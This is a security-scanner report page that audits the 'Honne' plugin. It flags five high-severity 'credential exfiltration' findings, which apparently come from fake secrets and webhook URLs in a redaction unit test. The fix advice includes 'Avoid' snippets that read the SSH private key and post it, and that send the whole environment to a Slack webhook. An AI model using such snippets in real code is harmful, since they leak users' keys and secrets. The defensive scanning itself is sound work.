Honne— plugin

Honne — independently scanned and version-tracked by SaferSkills.

by jazz1x·Plugin·github.com/jazz1x/honne

Is Honne safe to install?

SaferSkills independently audited Honne (Plugin) and scored it 45/100 (orange). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 5 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
45/100
●●●●●○○○○○
↑ +0 since first scan (45 → 45)Re-scan~30s
Latest scan
ScannedJun 24, 2026 · 29d ago
Scans run2 over 90 days
Detectors55 checks · 5 categories
Findings0 warnings · 5 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
0
0.0 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 5 flagged

Securityscore 0 · 5 findings
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · tests/unit_redact_test.py
HIGHSSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header (("-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCA…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerpttests/unit_redact_test.py· python
22("slack " + "xox" + "b-0000000000000-0000000000000-AAAAAAAAAAAAAAAA", "[REDACTED:slack-token
… (62 chars elided on L22)
23("gcp AIzaSyA1234567890abcdefghijklmnopqrstuv", "[REDACTED:gcp-api-key]", "AIzaSyA1234567890
… (25 chars elided on L23)
24("-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEA\n-----END RSA PRIVATE KEY-----", "[REDAC
… (39 chars elided on L24)
25(
26"jwt eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4ifQ.SflKxwRJSMeKKF2QT4f
… (26 chars elided on L26)
Occurrences
1 occurrence · at L24
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha256d4c78a76431cc26erubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · tests/unit_redact_test.py×4
HIGHa hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL ("slack https://hooks.slack.com/services/TFAKE/BF…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerpttests/unit_redact_test.py· python
29),
30(
31"slack https://hooks.slack.com/services/TFAKE/BFAKE/FAKE",
32"[REDACTED:slack-webhook]",
33"https://hooks.slack.com/services/TFAKE/BFAKE/FAKE",
Occurrences
4 occurrences · first at L31, also L33, L36 +1 more
Show all 4 locations
Line
File
L31
tests/unit_redact_test.py
L33
tests/unit_redact_test.py
L36
tests/unit_redact_test.py
L38
tests/unit_redact_test.py
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha256915cfb010f64731erubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
All community checks passedNo findings in this category for the latest scan.pass
Vendor response · right of reply
Are you the maintainer? Submit a response →

Audit the pieces. Scan the whole. Decide.

~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.